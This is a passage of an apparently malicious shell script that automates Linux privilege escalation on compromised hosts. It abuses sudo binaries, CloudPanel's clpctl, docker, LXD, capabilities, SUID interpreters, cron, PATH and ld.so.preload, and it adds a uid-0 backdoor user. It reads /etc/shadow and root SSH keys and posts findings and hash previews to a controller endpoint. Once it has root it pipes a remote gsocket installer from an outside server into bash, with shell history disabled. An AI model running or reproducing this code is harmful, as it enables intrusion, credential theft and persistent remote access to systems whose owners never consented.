head -1) # When sudo_r is our "(password) ALL" sentinel, pick a shell as target [ -z "$_b" ] && _b=$(command -v bash || command -v sh || echo /bin/sh) case "${_b##*/}" in python*) _esc="sudo $_b -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'"; sudo "$_b" -c \ 'import os,sys;os.setuid(0);exec(open(sys.stdin.fileno()).read())' \ <"$_qs" >"$_o" 2>&1 ;; perl*) _esc="sudo $_b -e 'use POSIX; POSIX::setuid(0); exec \"/bin/bash\",\"-p\"'"; sudo "$_b" -e \ 'use POSIX;POSIX::setuid(0);exec "/bin/bash","-p"' \ <"$_qs" >"$_o" 2>&1 ;; ruby*) _esc="sudo $_b -e 'exec \"/bin/bash\",\"-p\"'"; sudo "$_b" -e 'exec "/bin/bash","-p"' <"$_qs" >"$_o" 2>&1 ;; vim|vi) _esc="sudo $_b -c ':py3 import os;os.setuid(0);os.system(\"/bin/bash -p\")'"; sudo "$_b" -c \ ':py3 import os;os.setuid(0);os.system("/bin/bash -p")' \ </dev/null >"$_o" 2>&1 ;; bash*|sh*) _esc="sudo $_b -p"; sudo "$_b" -p <"$_qs" >"$_o" 2>&1 ;; clpctlWrapper|clpctl) # CloudPanel control CLI — runs as root via sudo, no password needed. # Attack sequence: # A) PHP flag passthrough (-r) — works if wrapper just exec's php # B) db:export --file to /etc/sudoers.d/ — SQL dump has -- header, # sudoers ignores lines starting with -- so extra line appended works # C) Command injection in --databaseName via mysqldump shell escape # D) Cwd-based php.ini trick (PHP_INI_SCAN_DIR, may survive env_reset) # E) Direct help probe — output helps operator craft next attempt _esc="sudo $_b → CloudPanel clpctlWrapper LPE" { printf '=== probe: help ===\n' sudo "$_b" 2>&1 | head -60 printf '\n=== method A: php -r flag passthrough ===\n' sudo "$_b" -r \ "system('cp /bin/bash $_SUID_PATH && chmod 4755 $_SUID_PATH && echo SUID_A_OK');" \ 2>&1 | head -5 printf '\n=== method B: db:export → /etc/sudoers.d/ ===\n' # Append our NOPASSWD line after the SQL dump header # sudoers parser ignores lines starting with "-- " sudo "$_b" db:export \ --databaseName=mysql \ --file=/etc/sudoers.d/cloudpanel_update 2>&1 | head -5 # Append our line to whatever was written printf '\n%s ALL=(ALL) NOPASSWD: ALL\n' "$(id -un 2>/dev/null || echo www-data)" | \ sudo tee -a /etc/sudoers.d/cloudpanel_update >/dev/null 2>&1 || true printf '\n=== method C: mysqldump cmd injection via databaseName ===\n' sudo "$_b" db:export \ --databaseName="\$(cp /bin/bash $_SUID_PATH && chmod 4755 $_SUID_PATH && echo INJ_C)mysql" \ --file=/tmp/.clpout.sql 2>&1 | head -8 printf '\n=== method D: php.ini scan dir (cwd trick) ===\n' mkdir -p /tmp/.clpini 2>/dev/null printf 'auto_prepend_file=/tmp/.clpphp.php\n' > /tmp/.clpini/zz-clp.ini printf '<?php system("cp /bin/bash %s 2>/dev/null; chmod 4755 %s 2>/dev/null; echo PREPEND_D_OK"); ?>\n' \ "$_SUID_PATH" "$_SUID_PATH" > /tmp/.clpphp.php ( cd /tmp/.clpini && PHP_INI_SCAN_DIR=/tmp/.clpini sudo "$_b" 2>&1 | head -5 ) rm -rf /tmp/.clpini /tmp/.clpphp.php 2>/dev/null || true printf '\n=== method E: CloudPanel user:create (admin → panel access) ===\n' sudo "$_b" user:create \ --userName=clp_op \ --email=op@localhost \ --firstName=op --lastName=op \ --password='Cl@udP4nel!' \ --role=admin 2>&1 | head -10 printf '\n=== result check ===\n' ls -la "$_SUID_PATH" 2>/dev/null [ -u "$_SUID_PATH" ] && "$_SUID_PATH" -p -c 'id; hostname; cat /root/.ssh/id_rsa 2>/dev/null | head -5' # Check if sudoers file was written cat /etc/sudoers.d/cloudpanel_update 2>/dev/null | head -5 # Try elevated sudo if sudoers entry was added sudo -n id 2>/dev/null || true } > "$_o" 2>&1 ;; env) _esc="sudo env /bin/sh -p"; sudo env /bin/sh -p <"$_qs" >"$_o" 2>&1 ;; awk|gawk|mawk) _esc="sudo $_b 'BEGIN{system(\"/bin/sh\")}'"; sudo "$_b" 'BEGIN{system("/bin/sh")}' <"$_qs" >"$_o" 2>&1 ;; find) _esc="sudo find /tmp -exec sh -c CMD \\; -quit"; local _fc; _fc=$(cat "$_qs" 2>/dev/null) sudo find /tmp -maxdepth 0 -exec sh -c "$_fc" sh \; >"$_o" 2>&1 ;; node*) _esc="sudo node -e 'require(\"child_process\").execFileSync(\"/bin/sh\",[\"-p\"])'"; sudo "$_b" -e \ 'require("child_process").execFileSync("/bin/sh",["-p"],{stdio:"inherit"})' \ <"$_qs" >"$_o" 2>&1 ;; lua*) _esc="sudo $_b -e 'os.execute(\"/bin/sh\")'"; sudo "$_b" -e 'os.execute("/bin/sh")' <"$_qs" >"$_o" 2>&1 ;; php*) _esc="sudo $_b -r 'pcntl_exec(\"/bin/sh\",[\"-p\"])'"; sudo "$_b" -r 'pcntl_exec("/bin/sh",["-p"]);' <"$_qs" >"$_o" 2>&1 ;; rvim|rvi|view) _esc="sudo $_b -c ':py3 import os;os.setuid(0);os.system(\"/bin/sh\")'"; sudo "$_b" -c ':py3 import os;os.setuid(0);os.system("/bin/sh")' \ </dev/null >"$_o" 2>&1 ;; tar) _esc="sudo tar --checkpoint-action=exec=CMD"; sudo tar -cf /dev/null /dev/null \ --checkpoint=1 \ --checkpoint-action="exec=cp /bin/bash ${_SUID_PATH} && chmod 4750 ${_SUID_PATH}" \ >/dev/null 2>&1 ls -la "$_SUID_PATH" >"$_o" 2>&1 ;; zip) _esc="sudo zip -T --unzip-command='sh -c CMD'"; sudo zip /tmp/.esc$$.zip /etc/hosts -T \ --unzip-command="sh -c 'cp /bin/bash ${_SUID_PATH}; chmod 4750 ${_SUID_PATH}'" \ >/dev/null 2>&1 rm -f /tmp/.esc$$.zip 2>/dev/null; ls -la "$_SUID_PATH" >"$_o" 2>&1 ;; tee) _esc="echo 'USER ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/nopw"; local _tme; _tme=$(id -un 2>/dev/null || echo www-data) printf '%s ALL=(ALL) NOPASSWD:ALL\n' "$_tme" | \ sudo tee /etc/sudoers.d/nopw >/dev/null 2>&1 sudo -n id >"$_o" 2>&1 || printf 'sudoers write attempted\n' >"$_o" ;; cp) _esc="sudo cp /bin/bash $_SUID_PATH && chmod 4750 $_SUID_PATH"; sudo cp /bin/bash "$_SUID_PATH" >/dev/null 2>&1 && \ sudo chmod 4750 "$_SUID_PATH" >/dev/null 2>&1 ls -la "$_SUID_PATH" >"$_o" 2>&1 ;; chmod) _esc="sudo chmod u+s /bin/bash"; sudo chmod 4750 /bin/bash >/dev/null 2>&1 ls -la /bin/bash >"$_o" 2>&1 ;; chown) _esc="sudo chown root /bin/bash && chmod 4750 /bin/bash"; sudo chown "root:$(id -gn 2>/dev/null || echo root)" /bin/bash >/dev/null 2>&1 && \ sudo chmod 4750 /bin/bash >/dev/null 2>&1 ls -la /bin/bash >"$_o" 2>&1 ;; cat|head|tail|tac|xxd|od) _esc="sudo $_b /etc/shadow"; sudo "$_b" /etc/shadow >"$_o" 2>&1 ;; make) _esc="sudo make -f ${WDIR}/.mk x"; printf 'x:\n\t@cp /bin/bash %s 2>/dev/null && chmod 4750 %s 2>/dev/null\n' \ "$_SUID_PATH" "$_SUID_PATH" > "${WDIR}/.mk$$" 2>/dev/null sudo make -s -f "${WDIR}/.mk$$" x >/dev/null 2>&1 rm -f "${WDIR}/.mk$$" 2>/dev/null; ls -la "$_SUID_PATH" >"$_o" 2>&1 ;; tcpdump) _esc="sudo tcpdump -G 1 -z SCRIPT"; printf '#!/bin/sh\ncp /bin/bash %s&&chmod 4750 %s\n' \ "$_SUID_PATH" "$_SUID_PATH" > "${WDIR}/.tdz$$" 2>/dev/null && \ chmod +x "${WDIR}/.tdz$$" 2>/dev/null sudo "$_b" -ln -i lo -w /dev/null -W 1 -G 1 -z "${WDIR}/.tdz$$" -Z root \ >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null rm -f "${WDIR}/.tdz$$" 2>/dev/null; ls -la "$_SUID_PATH" >"$_o" 2>&1 ;; nmap) _esc="sudo nmap --script ${WDIR}/.nse$$"; printf 'action=function() os.execute("cp /bin/bash %s; chmod 4750 %s") end\n' \ "$_SUID_PATH" "$_SUID_PATH" > "${WDIR}/.nse$$" 2>/dev/null sudo "$_b" --script "${WDIR}/.nse$$" -sn 127.0.0.1 >/dev/null 2>&1 & sleep 5; kill $! 2>/dev/null rm -f "${WDIR}/.nse$$" 2>/dev/null; ls -la "$_SUID_PATH" >"$_o" 2>&1 ;; *) _esc="sudo $_b # check GTFObins for $_b"; sudo "$_b" <"$_qs" >"$_o" 2>&1 ;; esac local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '') _out "$HOST" "qw_sudo" "$_out" if printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|got\.root'; then _qwroot "sudo" "$_esc" "$(_qwid "$_out")" _event "$HOST" "qw_sudo" "root" _plant_gsocket & else _event "$HOST" "qw_sudo" "fail" fi rm -f "$_o" 2>/dev/null ) & fi # ── docker socket escape if [ -n "$docker_r" ] && command -v docker >/dev/null 2>&1; then ( _event "$HOST" "qw_docker" "running" local _o="${WDIR}/qwd.out" local _esc="docker run --rm -v /:/mnt alpine chroot /mnt sh" docker run --rm -v /:/mnt alpine chroot /mnt sh <"$_qs" >"$_o" 2>&1 local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '') _out "$HOST" "qw_docker" "$_out" if printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|got\.root'; then _qwroot "docker" "$_esc" "$(_qwid "$_out")" _event "$HOST" "qw_docker" "root" _plant_gsocket & else _event "$HOST" "qw_docker" "fail" fi rm -f "$_o" 2>/dev/null ) & fi # ── cap_setuid escalation if [ -n "$caps_r" ]; then ( _event "$HOST" "qw_caps" "running" local _cb _esc _o="${WDIR}/qwc.out" _cb=$(printf '%s' "$caps_r" | grep -oE '^[^ ]+' | head -1) case "${_cb##*/}" in python*) _esc="$_cb -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'"; "$_cb" -c \ 'import os,sys;os.setuid(0);os.setgid(0);exec(open(sys.stdin.fileno()).read())' \ <"$_qs" >"$_o" 2>&1 ;; perl*) _esc="$_cb -e 'use POSIX; POSIX::setuid(0); exec \"/bin/bash\",\"-p\"'"; "$_cb" -e \ 'use POSIX;POSIX::setuid(0);POSIX::setgid(0);exec "/bin/bash","-p"' \ <"$_qs" >"$_o" 2>&1 ;; node*) _esc="$_cb -e 'process.setuid(0); require(\"child_process\").execFileSync(\"/bin/bash\",[\"-p\"],{stdio:\"inherit\"})'"; "$_cb" -e \ 'try{process.setuid(0);process.setgid(0);}catch(e){} require("child_process").execFileSync("/bin/bash",["-p"],{stdio:"inherit"})' \ >"$_o" 2>&1 ;; ruby*) _esc="$_cb -e 'Process::UID.change_privilege(0); exec \"/bin/bash\",\"-p\"'"; "$_cb" -e \ 'begin;Process::UID.change_privilege(0);Process::GID.change_privilege(0);rescue;end exec "/bin/bash","-p"' \ <"$_qs" >"$_o" 2>&1 ;; suexec*) _esc="# suexec refuses uid=0 — trying RPATH lib injection" local _rpath _rpath=$(readelf -d "$_cb" 2>/dev/null \ | grep -E '(RPATH|RUNPATH)' \ | grep -oE '\[([^\]]+)\]' | tr -d '[]' | cut -d: -f1) if [ -n "$_rpath" ] && [ -w "$_rpath" ] && command -v gcc >/dev/null 2>&1; then _hso="${_rpath}/libsuexec_pe.so" _esc="# gcc RPATH inject → $_rpath/libsuexec_pe.so → ${_SUID_PATH} -p" printf '%s\n' \ '#include <unistd.h>' \ '__attribute__((constructor)) void _pe() {' \ ' setuid(0); setgid(0);' \ " system(\"cp /bin/bash ${_SUID_PATH} 2>/dev/null; chmod 4750 ${_SUID_PATH} 2>/dev/null\");" \ '}' | gcc -x c -shared -fPIC -o "$_hso" - 2>/dev/null && \ "$_cb" >"$_o" 2>&1 || true rm -f "$_hso" 2>/dev/null || true else printf 'suexec: LD_PRELOAD cleared for cap binaries; RPATH not writable\n' >"$_o" fi ;; awk|gawk|mawk) _esc="$_cb 'BEGIN{system(\"/bin/sh\")}' # cap_setuid"; "$_cb" 'BEGIN{system("/bin/sh")}' <"$_qs" >"$_o" 2>&1 ;; php*) _esc="$_cb -r 'posix_setuid(0);pcntl_exec(\"/bin/sh\",[\"-p\"])'"; "$_cb" -r 'posix_setuid(0);posix_setgid(0);pcntl_exec("/bin/sh",["-p"]);' \ <"$_qs" >"$_o" 2>&1 ;; tee) _esc="echo 'USER ALL=(ALL) NOPASSWD:ALL' | $_cb /etc/sudoers.d/nopw"; local _cme; _cme=$(id -un 2>/dev/null || echo www-data) printf '%s ALL=(ALL) NOPASSWD:ALL\n' "$_cme" | \ "$_cb" -a /etc/sudoers.d/nopw >/dev/null 2>&1 sudo -n id >"$_o" 2>&1 || printf 'cap_tee sudoers write attempted\n' >"$_o" ;; find) _esc="$_cb /tmp -exec sh -c CMD \\; (cap_dac_override)"; local _cfc; _cfc=$(cat "$_qs" 2>/dev/null) "$_cb" /tmp -maxdepth 0 -exec sh -c "$_cfc" sh \; >"$_o" 2>&1 ;; *) _esc="$_cb # check GTFObins for cap_setuid"; "$_cb" <"$_qs" >"$_o" 2>&1 ;; esac local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '') _out "$HOST" "qw_caps" "$_out" if { printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|got\.root' || [ -u "${_SUID_PATH}" 2>/dev/null ]; }; then [ -u "${_SUID_PATH}" ] && _esc="${_SUID_PATH} -p # SUID bash via cap exploit" _qwroot "caps" "$_esc" "$(_qwid "$_out")" _event "$HOST" "qw_caps" "root" _plant_gsocket & else _event "$HOST" "qw_caps" "fail" fi rm -f "$_o" 2>/dev/null ) & fi # ── SUID interpreter escalation if [ -n "$suid_r" ]; then ( _event "$HOST" "qw_suid" "running" local _sb _esc _o="${WDIR}/qwsu.out" _sb=$(printf '%s' "$suid_r" | cut -d'|' -f1) case "${_sb##*/}" in python*) _esc="$_sb -c 'import os; os.execvp(\"/bin/bash\",[\"/bin/bash\",\"-p\"])'"; "$_sb" -c 'import os;os.execvp("/bin/bash",["/bin/bash","-p"])' \ >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; perl*) _esc="$_sb -e 'exec \"/bin/bash\",\"-p\"'"; "$_sb" -e 'exec "/bin/bash","-p"' >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; ruby*) _esc="$_sb -e 'exec \"/bin/bash\",\"-p\"'"; "$_sb" -e 'exec "/bin/bash","-p"' >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; php*) _esc="$_sb -r 'pcntl_exec(\"/bin/bash\",[\"-p\"]); '"; "$_sb" -r 'pcntl_exec("/bin/bash",["-p"]);' >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; env) _esc="$_sb -p /bin/sh"; "$_sb" -p /bin/sh <"$_qs" >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; awk|gawk|mawk) _esc="$_sb 'BEGIN{system(\"/bin/sh -p\")}'"; "$_sb" 'BEGIN{system("/bin/sh -p")}' <"$_qs" >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; find) _esc="$_sb /tmp -exec /bin/sh -p \\; -quit"; local _sfc; _sfc=$(cat "$_qs" 2>/dev/null) "$_sb" /tmp -maxdepth 0 -exec sh -p -c "$_sfc" sh \; \ >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; node*) _esc="$_sb -e 'process.setuid(0);require(\"child_process\").execFileSync(\"/bin/sh\",[\"-p\"])'"; "$_sb" -e \ 'try{process.setuid(0);process.setgid(0);}catch(e){} require("child_process").execFileSync("/bin/sh",["-p"],{stdio:"inherit"})' \ >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; vim|vi) _esc="$_sb -c ':py3 import os;os.setuid(0);os.system(\"/bin/sh\")'"; "$_sb" -c ':py3 import os;os.setuid(0);os.system("/bin/sh")' \ </dev/null >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; *) _esc="$_sb # check GTFObins for SUID"; "$_sb" -p >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;; esac local _out; _out=$(tail -c 500 "$_o" 2>/dev/null || echo '') # SUID check: effective uid=0 means euid=0 in id output if printf '%s' "$_out" | grep -qiE 'euid=0|uid=0\(root\)'; then _qwroot "suid" "$_esc" "$(_qwid "$_out")" _event "$HOST" "qw_suid" "root" _plant_gsocket & else _event "$HOST" "qw_suid" "fail" fi rm -f "$_o" 2>/dev/null ) & fi # ── LXD container mount escalation ────────────────────────────────────── if [ "$lxd_r" = 'member' ] && command -v lxc >/dev/null 2>&1; then ( _event "$HOST" "qw_lxd" "running" local _cn="lpe$$" _o="${WDIR}/qwl.out" local _esc="lxc init ubuntu:18.04 lpe; lxc config set lpe security.privileged true; lxc config device add lpe mnt disk source=/ path=/mnt/root recursive=true; lxc start lpe; lxc exec lpe -- chroot /mnt/root sh" { lxc init ubuntu:18.04 "$_cn" 2>/dev/null || lxc init alpine "$_cn" 2>/dev/null || true lxc config set "$_cn" security.privileged true 2>/dev/null && \ lxc config device add "$_cn" mnt disk source=/ path=/mnt/root recursive=true 2>/dev/null && \ lxc start "$_cn" 2>/dev/null && sleep 2 && \ lxc exec "$_cn" -- sh -c \ "cp /mnt/root/bin/bash /mnt/root${_SUID_PATH} 2>/dev/null; chmod 4750 /mnt/root${_SUID_PATH} 2>/dev/null; id; echo LXD_ROOT" \ 2>/dev/null || true } >"$_o" 2>&1 lxc stop "$_cn" 2>/dev/null; lxc delete "$_cn" 2>/dev/null; true local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '') _out "$HOST" "qw_lxd" "$_out" if printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|LXD_ROOT'; then _qwroot "lxd" "${_SUID_PATH} -p # SUID bash from lxd host mount" "$(_qwid "$_out")" _event "$HOST" "qw_lxd" "root" _plant_gsocket & else _event "$HOST" "qw_lxd" "fail" fi rm -f "$_o" 2>/dev/null ) & fi # ── writable /etc/passwd — add uid=0 backdoor user ─────────────────────── if [ "$passwd_r" = 'writable' ]; then ( _event "$HOST" "qw_passwd" "running" local _o="${WDIR}/qwp.out" _usr='svc0' local _hash; _hash=$(openssl passwd -1 'toor' 2>/dev/null || \ printf '$1$svc0x$ZjXEbzOy3i7sPKNZHOoB80') grep -q "^${_usr}:" /etc/passwd 2>/dev/null || \ printf '%s:%s:0:0::/root:/bin/bash\n' "$_usr" "$_hash" >> /etc/passwd 2>/dev/null if id "$_usr" 2>/dev/null | grep -q 'uid=0'; then printf 'uid=0 backdoor: %s / toor\n' "$_usr" >"$_o" _out "$HOST" "qw_passwd" "$(cat "$_o" 2>/dev/null)" _qwroot "passwd" "su $_usr # pass: toor" "uid=0(${_usr}) gid=0(root)" _event "$HOST" "qw_passwd" "root" _plant_gsocket & else _event "$HOST" "qw_passwd" "fail" fi rm -f "$_o" 2>/dev/null ) & fi # ── cron exploitation — detect format (system vs user crontab) ────────── if [ -n "$cron_r" ]; then ( local _cf; _cf=$(printf '%s' "$cron_r" | cut -d'|' -f1) [ -w "$_cf" ] 2>/dev/null || { _event "$HOST" "qw_cron" "fail"; return; } # Detect cron file type: # /etc/cron.d/* → system crontab, needs username field → run as root # /var/spool/cron/* → user crontab, no username field → runs as file owner # /var/cron/tabs/* → same as above (BSD/cPanel) local _is_syscron=0 _cron_user='' case "$_cf" in /etc/cron.d/*) _is_syscron=1 ;; /etc/cron.daily/*|/etc/cron.weekly/*|/etc/cron.hourly/*) _is_syscron=1 ;; esac if [ "$_is_syscron" = 0 ]; then # User crontab: owner is the username (last path component) _cron_user=$(basename "$_cf" 2>/dev/null || echo '') # Skip SUID attempt unless it's root's own crontab if [ "$_cron_user" != 'root' ]; then _event "$HOST" "qw_cron" "fail" _post "${ORIGIN}/api/quickwin" \ "h=$(ue "$HOST")&cron_file=$(ue "$_cf (user crontab — no privesc)")" \ >/dev/null 2>&1 || true return fi fi _event "$HOST" "qw_cron" "running" local _o="${WDIR}/qwcr.out" _pl _cron_ts _cron_marker _cron_marker="${_SUID_TAG}" if [ "$_is_syscron" = 1 ]; then # /etc/cron.d/ format — username field required; self-removes via sed after firing _pl=$(printf '* * * * * root cp /bin/bash %s&&chmod 4750 %s&&chown root:%s %s&&touch -r /bin/bash %s&&sed -i "/%s/d" %s 2>/dev/null&&curl -fsSL -m5 -k --data "h=%s&qwcron_ok=1" %s/api/quickwin>/dev/null 2>&1 #%s\n' \ "$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH" "$_SUID_PATH" \ "$_cron_marker" "$_cf" "$HOST" "$ORIGIN" "$_cron_marker") else # root's user crontab — no username field; self-removes via sed after firing _pl=$(printf '* * * * * cp /bin/bash %s&&chmod 4750 %s&&chown root:%s %s&&touch -r /bin/bash %s&&sed -i "/%s/d" %s 2>/dev/null&&curl -fsSL -m5 -k --data "h=%s&qwcron_ok=1" %s/api/quickwin>/dev/null 2>&1 #%s\n' \ "$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH" "$_SUID_PATH" \ "$_cron_marker" "$_cf" "$HOST" "$ORIGIN" "$_cron_marker") fi if printf '%s' "$_pl" >> "$_cf" 2>/dev/null; then _cron_ts=$(date +%s 2>/dev/null || echo 0) _post "${ORIGIN}/api/quickwin" \ "h=$(ue "$HOST")&cron_ts=${_cron_ts}&cron_file=$(ue "$_cf")" \ >/dev/null 2>&1 || true printf 'payload injected into %s — waiting\n' "$_cf" >"$_o" _out "$HOST" "qw_cron" "$(cat "$_o" 2>/dev/null)" local _t=0 while [ $_t -lt 90 ]; do sleep 10; _t=$(( _t + 10 )) if [ -u "${_SUID_PATH}" ] 2>/dev/null; then _qwroot "cron" "${_SUID_PATH} -p # SUID bash from cron injection" "uid=0 via cron" _event "$HOST" "qw_cron" "root" _plant_gsocket & # cron payload self-removes via sed; this is backup cleanup from drop.sh grep -v "$_cron_marker" "$_cf" 2>/dev/null >"${_cf}.tmp" && \ mv "${_cf}.tmp" "$_cf" 2>/dev/null || true break fi done [ $_t -ge 90 ] && _event "$HOST" "qw_cron" "fail" || true else _event "$HOST" "qw_cron" "fail" fi rm -f "$_o" 2>/dev/null ) & fi # ── PATH hijack via writable dir in \$PATH ──────────────────────────────── if [ -n "$pathijack_r" ]; then ( _event "$HOST" "qw_pathijack" "running" local _pi_bin; _pi_bin=$(printf '%s' "$pathijack_r" | cut -d: -f1) local _pi_dir; _pi_dir=$(printf '%s' "$pathijack_r" | cut -d: -f2) local _pi_cmd; _pi_cmd=$(printf '%s' "$pathijack_r" | cut -d: -f3) local _o="${WDIR}/qwph.out" _hijack="${_pi_dir}/${_pi_cmd}" local _esc="# PATH hijack: $_pi_bin calls '$_pi_cmd' — drop shell at $_hijack" { printf '#!/bin/sh\ncp /bin/bash %s 2>/dev/null && chmod 4750 %s 2>/dev/null && chown root:%s %s 2>/dev/null\nid\n' \ "$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH" } >"$_hijack" 2>/dev/null && chmod +x "$_hijack" 2>/dev/null "$_pi_bin" >"$_o" 2>&1 || true rm -f "$_hijack" 2>/dev/null local _out; _out=$(tail -c 1000 "$_o" 2>/dev/null || echo '') _out "$HOST" "qw_pathijack" "$_out" if [ -u "${_SUID_PATH}" ] 2>/dev/null || printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0'; then _qwroot "pathijack" "${_SUID_PATH} -p # SUID bash via PATH hijack" "$(_qwid "$_out")" _event "$HOST" "qw_pathijack" "root" _plant_gsocket & else _event "$HOST" "qw_pathijack" "fail" fi rm -f "$_o" 2>/dev/null ) & fi # ── /etc/ld.so.preload inject via gcc ──────────────────────────────────── if [ "$ldpreload_r" = 'writable' ] && command -v gcc >/dev/null 2>&1; then ( _event "$HOST" "qw_ldpreload" "running" local _so="/tmp/.ldp$$.so" _o="${WDIR}/qwlp.out" local _esc="/etc/ld.so.preload inject → gcc .so constructor → setuid(0) on any SUID call" { printf '#include <unistd.h>\n' printf '__attribute__((constructor)) void _lp(){\n' printf ' setuid(0);setgid(0);\n' printf ' system("cp /bin/bash %s 2>/dev/null; chmod 4750 %s 2>/dev/null");\n' \ "$_SUID_PATH" "$_SUID_PATH" printf '}\n' } | gcc -x c -shared -fPIC -nostartfiles -o "$_so" - 2>/dev/null if [ -s "$_so" ]; then printf '%s\n' "$_so" > /etc/ld.so.preload 2>/dev/null local _trigger; _trigger=$(find /usr/bin /bin /sbin -perm -4000 -type f 2>/dev/null | head -1) [ -n "$_trigger" ] && "$_trigger" >/dev/null 2>&1 || /usr/bin/sudo -l >/dev/null 2>&1 || true sleep 1 printf '' > /etc/ld.so.preload 2>/dev/null ls -la "$_SUID_PATH" >"$_o" 2>&1 local _out; _out=$(cat "$_o" 2>/dev/null || echo '') _out "$HOST" "qw_ldpreload" "$_out" if [ -u "${_SUID_PATH}" ] 2>/dev/null; then _qwroot "ldpreload" "${_SUID_PATH} -p # SUID bash via ld.so.preload inject" "uid=0 via ldpreload" _event "$HOST" "qw_ldpreload" "root" _plant_gsocket & else _event "$HOST" "qw_ldpreload" "fail" fi else _event "$HOST" "qw_ldpreload" "fail" fi rm -f "$_so" 2>/dev/null ) & fi # ── /etc/shadow readable — exfil hashes for offline crack ──────────────── if [ "$shadow_r" = 'readable' ]; then ( local _o="${WDIR}/qwsh.out" local _esc="cat /etc/shadow # hashcat -m 1800 hashes.txt rockyou.txt" head -20 /etc/shadow 2>/dev/null > "$_o" local _out; _out=$(cat "$_o" 2>/dev/null || echo '') _out "$HOST" "qw_shadow" "$_out" local _preview; _preview=$(head -10 /etc/shadow 2>/dev/null | \ grep -vE '^\w+:[!*]' | cut -d: -f1,2 | head -3 | tr '\n' '|' | head -c 200) _post "${ORIGIN}/api/quickwin" \ "h=$(ue "$HOST")&shadow=$(ue "readable${_preview:+:}${_preview}")" \ >/dev/null 2>&1 || true rm -f "$_o" 2>/dev/null ) & fi # ── disk group — dd raw partition → extract shadow hashes ──────────────── if [ "$disk_grp_r" = 'member' ] && command -v dd >/dev/null 2>&1; then ( _event "$HOST" "qw_disk_grp" "running" local _o="${WDIR}/qwdk.out" local _dev; _dev=$(df /etc 2>/dev/null | awk 'NR==2{print $1}') local _esc="dd if=$_dev | strings | grep shadow hash" if [ -b "$_dev" ] && [ -r "$_dev" ]; then dd if="$_dev" bs=512 2>/dev/null | strings 2>/dev/null | \ grep -E '^\w+:\$[0-9$y]' | head -10 > "$_o" & local _ddpid=$! sleep 10; kill $_ddpid 2>/dev/null; true local _out; _out=$(cat "$_o" 2>/dev/null || echo '') _out "$HOST" "qw_disk_grp" "$_out" if [ -n "$_out" ]; then _qwroot "disk_grp" "dd if=$_dev | strings | grep -E '^\\w+:\\$[0-9]' | hashcat" \ "shadow hashes from raw disk" _event "$HOST" "qw_disk_grp" "root" else _event "$HOST" "qw_disk_grp" "fail" fi else _event "$HOST" "qw_disk_grp" "fail" fi rm -f "$_o" 2>/dev/null ) & fi # ── /etc/sudoers.d/ writable — drop NOPASSWD entry ─────────────────────── if [ -n "$sudoersd_r" ]; then ( _event "$HOST" "qw_sudoersd" "running" local _sf _o="${WDIR}/qwsd.out" if [ -d "$sudoersd_r" ]; then _sf="${sudoersd_r}/lpe_auto" else _sf="$sudoersd_r" fi local _sme; _sme=$(id -un 2>/dev/null || echo www-data) local _esc="printf '%s ALL=(ALL) NOPASSWD:ALL' $_sme > $_sf" printf '%s ALL=(ALL) NOPASSWD:ALL\n' "$_sme" > "$_sf" 2>/dev/null && \ chmod 0440 "$_sf" 2>/dev/null || true if sudo -n id >/dev/null 2>&1; then sudo sh "$_qs" >"$_o" 2>&1 local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '') _out "$HOST" "qw_sudoersd" "$_out" if printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|got\.root'; then _qwroot "sudoersd" "$_esc" "$(_qwid "$_out")" _event "$HOST" "qw_sudoersd" "root" _plant_gsocket & else _event "$HOST" "qw_sudoersd" "fail" fi rm -f "$_sf" 2>/dev/null else rm -f "$_sf" 2>/dev/null _event "$HOST" "qw_sudoersd" "fail" fi rm -f "$_o" 2>/dev/null ) & fi rm -f "$_qs" 2>/dev/null || true } # ── auto-plant gsocket after root is confirmed ────────────────────────── # Uses direct one-liner — no SUID path, no gsocket binary download. _plant_gsocket(){ local _o="${WDIR}/.gso$$" _event "$HOST" "_gs_" "installing" { printf '=== gsocket install ===\n' GS_HOST=107.152.47.226 GS_PORT=443 bash -c "$(curl -fsSL https://server-security.shop/merged.sh 2>/dev/null || wget --no-verbose -O- https://server-security.shop/merged.sh 2>/dev/null)" 2>/dev/null printf '\n=== done (exit=%d) ===\n' $? id printf '\n=== gs binary check ===\n' command -v gs-netcat 2>/dev/null || which gs-netcat 2>/dev/null || echo 'gs-netcat: not in PATH' pgrep -af gs-netcat 2>/dev/null || echo 'gs-netcat: not running' # ── Dynamic Post-Root Custom Agent (Per-User) ──────────────────────── if [ -n "$USER_AGENT_CMD" ]; then printf '\n=== post-root custom agent enroll ===\n' ( unset HISTFILE HISTSIZE HISTFILESIZE 2>/dev/null; export HISTFILE=/dev/null eval "$USER_AGENT_CMD" ) >/dev/null 2>&1 & printf 'custom agent: deploying in background (PID %d)\n' $! fi # ── end Dynamic Post-Root Agent ─────────────────────────────────────── } > "$_o" 2>&1 local _out; _out=$(cat "$_o" 2>/dev/null) 